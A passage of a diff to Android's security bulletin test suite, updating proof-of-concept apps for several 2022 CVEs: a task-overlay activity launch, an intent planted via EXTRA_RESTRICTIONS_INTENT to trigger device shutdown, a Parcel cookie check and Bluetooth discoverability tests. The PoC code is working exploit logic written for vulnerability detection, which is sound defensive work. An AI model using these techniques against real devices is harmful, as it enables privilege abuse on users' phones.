- edit.commit();
+ void setSharedPreferenes(int result) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
index 7a4e841..94de7f0 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
@@ -17,7 +17,6 @@
package android.security.cts.CVE_2022_20007;
import android.app.Activity;
-import android.content.ActivityNotFoundException;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -30,30 +29,48 @@
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- launchAttack();
- }
-
- public void launchAttack() {
- String testPkgName = getPackageName();
- final Intent coverIntent = new Intent();
- coverIntent.setComponent(new ComponentName("android.security.cts.CVE_2022_20007_attacker",
- "android.security.cts.CVE_2022_20007_attacker.PocActivity"));
- coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION |
- Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
- final Intent victimIntent = new Intent(PocMainActivity.this, PocActivity.class);
- victimIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
- Intent[] intents = {victimIntent, coverIntent};
try {
- startActivities(intents);
- } catch (ActivityNotFoundException e) {
- SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
- Context.MODE_PRIVATE);
- SharedPreferences.Editor edit = sh.edit();
- edit.putInt(getString(R.string.resultKey),
- getResources().getInteger(R.integer.assumptionFailure));
- edit.putString(getString(R.string.messageKey),
- getString(R.string.assumptionFailureMessage));
- edit.commit();
+ String testPkgName = getPackageName();
+ final Intent coverIntent = new Intent();
+ coverIntent.setComponent(new ComponentName(getString(R.string.attackerPkg),
+ getString(R.string.attackerPkg) + "." + getString(R.string.attackerActivity)));
+ coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NEW_TASK
+ | Intent.FLAG_ACTIVITY_MULTIPLE_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ final Intent victimIntent = new Intent(PocMainActivity.this, FirstPocActivity.class);
+ victimIntent
+ .setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ int numActivities = getIntent().getIntExtra(getString(R.string.numActivities),
+ /* default */ getResources().getInteger(R.integer.twoActivities));
+ if (numActivities == getResources().getInteger(R.integer.twoActivities)) {
+ Intent[] intents = {victimIntent, coverIntent};
+ startActivities(intents);
+ } else {
+ final Intent secondVictimIntent = new Intent();
+ secondVictimIntent.setComponent(new ComponentName(
+ getString(R.string.secondPocAppPkg), getString(R.string.secondPocAppPkg)
+ + "." + getString(R.string.secondActivity)));
+ secondVictimIntent.setFlags(
+ Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ startActivity(victimIntent);
+
+ // wait to prevent both the victim activities from getting launched on same display
+ Thread.sleep(5000);
+ Intent[] intents2 = {secondVictimIntent, coverIntent};
+ startActivities(intents2);
+ }
+ } catch (Exception e) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey),
+ getResources().getInteger(R.integer.assumptionFailure));
+ edit.putString(getString(R.string.messageKey),
+ getString(R.string.assumptionFailureMessage));
+ edit.commit();
+ } catch (Exception ex) {
+ // ignore exception here
+ }
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
new file mode 100644
index 0000000..582076e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20197",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml
new file mode 100644
index 0000000..3ea2a62
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2022_20197">
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20197" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml
new file mode 100644
index 0000000..c9a9407
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="vulnerableMsg">Device is vulnerable to b/208279300!</string>
+ <string name="stringObj">CVE_2022_20197</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java
new file mode 100644
index 0000000..a7b5618
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20197;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.PendingIntent;
+import android.content.res.Resources;
+import android.os.Parcel;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testParcel() {
+ try {
+ Resources resources = getApplicationContext().getResources();
+ Parcel parcel = Parcel.obtain();
+ Object cookie = (Object) resources.getString(R.string.stringObj);
+ parcel.setClassCookie(PendingIntent.class, cookie);
+ parcel.recycle();
+ Object value = parcel.getClassCookie(PendingIntent.class);
+ assertNull(resources.getString(R.string.vulnerableMsg), value);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
index 6257834..4a250ce 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
@@ -15,16 +15,18 @@
limitations under the License.
-->
<resources>
- <string name="appSettingsIconResId">com.android.settings:id/app_restrictions_settings</string>
+ <string name="allowAppsTextResId">restricted_profile_configure_apps_title</string>
+ <string name="appSettingsIconResId">%1$s:id/app_restrictions_settings</string>
+ <string name="customizeRestrictionsTextResId">restricted_profile_customize_restrictions</string>
<string name="messageKey">message</string>
<string name="resType">string</string>
<string name="sharedPreferences">SharedPreferences</string>
+ <string name="shutdownMsgResId">shutdown_confirm</string>
<string name="testFailMsg">
Vulnerable to b/223578534!! LaunchAnyWhere in AppRestrictionsFragment due to unsafe package
check
</string>
<string name="textResId">user_restrictions_title</string>
<string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string>
- <string name="uriData">tel:555-TEST</string>
<string name="userName">CVE_2022_20223_RestrictedUser</string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
index e47e593..92b1df2 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
@@ -24,10 +24,10 @@
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.os.Bundle;
import android.provider.Settings;
-import android.telecom.TelecomManager;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
@@ -43,10 +43,11 @@
private static final int TIMEOUT_MS = 20000;
private UiDevice mDevice;
private Context mContext;
+ private PackageManager mPackageManager;
- private String getDefaultDialerPackage() {
- TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
- return telecomManager.getSystemDialerPackage();
+ boolean isTV() {
+ return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+ || mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
}
// Wait for UiObject to appear and click on the UiObject if it is visible
@@ -63,47 +64,77 @@
try {
mDevice = UiDevice.getInstance(getInstrumentation());
mContext = getInstrumentation().getContext();
+ mPackageManager = mContext.getPackageManager();
+ if (isTV()) {
+ Intent intent = new Intent(Settings.ACTION_SECURITY_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
- Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- mContext.startActivity(intent);
+ // Click on text "Allowed apps"
+ String settingsPackageName =
+ intent.resolveActivity(mPackageManager).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(settingsPackageName);
+ String text = res.getString(
+ res.getIdentifier(mContext.getString(R.string.allowAppsTextResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ BySelector selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
- BySelector selector = By.text(mContext.getString(R.string.userName));
- assumeTrue(
- mContext.getString(R.string.timedOutMsg, mContext.getString(R.string.userName)),
- clickUiObject(selector));
+ // Click on text "Customize restrictions"
+ text = res.getString(res.getIdentifier(
+ mContext.getString(R.string.customizeRestrictionsTextResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ } else {
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
- String settingsPackageName =
- intent.resolveActivity(mContext.getPackageManager()).getPackageName();
- Context settingsContext = mContext.createPackageContext(settingsPackageName,
- Context.CONTEXT_IGNORE_SECURITY);
- Resources res = settingsContext.getPackageManager()
- .getResourcesForApplication(settingsPackageName);
- String text = settingsContext
- .getString(res.getIdentifier(mContext.getString(R.string.textResId),
- mContext.getString(R.string.resType), settingsPackageName));
- selector = By.text(text);
- assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ // Click on text "CVE_2022_20223_RestrictedUser"
+ BySelector selector = By.text(mContext.getString(R.string.userName));
+ assumeTrue(mContext.getString(R.string.timedOutMsg,
+ mContext.getString(R.string.userName)), clickUiObject(selector));
- selector = By.res(mContext.getString(R.string.appSettingsIconResId));
- assumeTrue(
- mContext.getString(R.string.timedOutMsg,
- mContext.getString(R.string.appSettingsIconResId)),
- clickUiObject(selector));
+ // Click on text "App & content access"
+ String settingsPackageName =
+ intent.resolveActivity(mPackageManager).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(settingsPackageName);
+ String text =
+ res.getString(res.getIdentifier(mContext.getString(R.string.textResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ // Click on icon with resource-id "<settingsPackage>:id/app_restrictions_settings"
+ selector = By.res(
+ mContext.getString(R.string.appSettingsIconResId, settingsPackageName));
+ assumeTrue(
+ mContext.getString(R.string.timedOutMsg, mContext
+ .getString(R.string.appSettingsIconResId, settingsPackageName)),
+ clickUiObject(selector));
+ }
+ // Check if ShutDown activity is launched indicating presence of vulnerability
+ String androidPackageName =
+ PocBroadcastReceiver.getShutdownDefaultComponent(mContext).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(androidPackageName);
+ String text =
+ res.getString(res.getIdentifier(mContext.getString(R.string.shutdownMsgResId),
+ mContext.getString(R.string.resType), androidPackageName));
assertFalse(mContext.getString(R.string.testFailMsg),
- mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())), TIMEOUT_MS));
+ mDevice.wait(Until.hasObject(By.text(text)), TIMEOUT_MS));
} catch (Exception e) {
assumeNoException(e);
} finally {
try {
+ // Check occurrence of any exception in PocBroadcastReceiver
SharedPreferences sharedPrefs = mContext.getSharedPreferences(
mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
String assumptionFailure =
sharedPrefs.getString(mContext.getString(R.string.messageKey), null);
assumeTrue(assumptionFailure, assumptionFailure == null);
} catch (Exception e) {
- assumeNoException(e);
+ // Ignore exceptions here
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
index c3c7083..6df2b9d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
@@ -26,9 +26,8 @@
public class PocBroadcastReceiver extends BroadcastReceiver {
- ComponentName getPrivilegeCallDefaultComponent(Context context) {
- Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED);
- intent.setData(Uri.parse(context.getString(R.string.uriData)));
+ static ComponentName getShutdownDefaultComponent(Context context) {
+ Intent intent = new Intent(Intent.ACTION_REQUEST_SHUTDOWN);
return intent.resolveActivity(context.getPackageManager());
}
@@ -36,14 +35,14 @@
public void onReceive(Context context, Intent intent) {
try {
Bundle result = new Bundle();
- Intent dialIntent = new Intent();
- dialIntent.setComponent(getPrivilegeCallDefaultComponent(context));
- dialIntent.setPackage(context.getPackageName());
- dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
- dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
- result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ Intent shutDownIntent = new Intent();
+ shutDownIntent.setComponent(getShutdownDefaultComponent(context));
+ shutDownIntent.setPackage(context.getPackageName());
+ shutDownIntent.setAction(Intent.ACTION_REQUEST_SHUTDOWN);
+ shutDownIntent.putExtra(Intent.EXTRA_KEY_CONFIRM, true);
+ shutDownIntent.putExtra(Intent.EXTRA_USER_REQUESTED_SHUTDOWN, true);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, shutDownIntent);
setResultExtras(result);
- return;
} catch (Exception e) {
SharedPreferences sh = context.getSharedPreferences(
context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
index 52f43c5..ec61aa1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
@@ -63,25 +63,20 @@
return mContext.getResources().getInteger(resId);
}
+ void switchBluetoothMode(String action) {
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(mContext.getString(R.string.btAction), action);
+ mContext.startActivity(intent);
+ }
+
@Test
public void testBluetoothDiscoverable() {
OnSharedPreferenceChangeListener sharedPrefListener;
SharedPreferences sharedPrefs;
boolean btState = false;
try {
- BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
-
- // Save the state of bluetooth adapter to reset after the test
- btState = btAdapter.isEnabled();
-
- // If bluetooth is disabled, enable it and wait for start activity to complete
mContext = InstrumentationRegistry.getInstrumentation().getContext();
- Intent intent = new Intent(mContext, PocActivity.class);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.putExtra(mContext.getString(R.string.btAction),
- BluetoothAdapter.ACTION_REQUEST_ENABLE);
- mContext.startActivity(intent);
-
Resources resources = mContext.getResources();
sharedPrefs = mContext.getSharedPreferences(
resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
@@ -96,6 +91,25 @@
}
};
sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
+ BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+
+ // Save the state of bluetooth adapter to reset after the test
+ btState = btAdapter.isEnabled();
+
+ // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode
+ if (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE) {
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+ assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS));
+ int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
+ resources.getInteger(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
+ resources.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
+ }
+
+ // Enable bluetooth if in disabled state
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE);
assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
TimeUnit.MILLISECONDS));
int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
@@ -107,6 +121,9 @@
// Checking if bluetooth is enabled. The test requires bluetooth to be enabled
assumeTrue(btAdapter.isEnabled());
+ // Checking if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
+ assumeTrue(btAdapter.getScanMode() != btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
// Launch bluetooth settings which is supposed to set scan mode to
// SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
UiAutomation uiautomation =
@@ -114,7 +131,7 @@
uiautomation
.adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
String settingsPkg = getSettingsPkgName();
- intent = new Intent();
+ Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri.parse(mContext.getString(R.string.uri)));
intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
@@ -135,11 +152,7 @@
try {
// Disable bluetooth if it was OFF before the test
if (!btState) {
- Intent intent = new Intent(mContext, PocActivity.class);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.putExtra(mContext.getString(R.string.btAction),
- BluetoothAdapter.ACTION_REQUEST_DISABLE);
- mContext.startActivity(intent);
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
TimeUnit.MILLISECONDS));
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp
new file mode 100644
index 0000000..b07e9f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20348",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml
new file mode 100644
index 0000000..ec6a775
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20348"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application>
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20348" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml
new file mode 100644
index 0000000..e79968d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="wifiScanningPattern">.*wi.fi scanning.*</string>
+ <string name="wifiScanningTimedOut">Timed out waiting on the text \'Wi-fi scanning\' to appear
+ </string>
+ <string name="failMsg">Device is vulnerable to b/228315529 !!</string>
+ <string name="locationIntentAction">android.settings.LOCATION_SCANNING_SETTINGS</string>
+ <string name="resWifiScanning">android:id/title</string>
+ <string name="setUserRestrictionFailed">Failed to set user restriction
+ UserManager.DISALLOW_CONFIG_LOCATION</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml
new file mode 100644
index 0000000..65ce601
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+ <uses-policies>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java
new file mode 100644
index 0000000..9cdb35d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20348;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Context mContext;
+ UiDevice mDevice;
+ DevicePolicyManager mDevicePolicyManager;
+ ComponentName mComponentName;
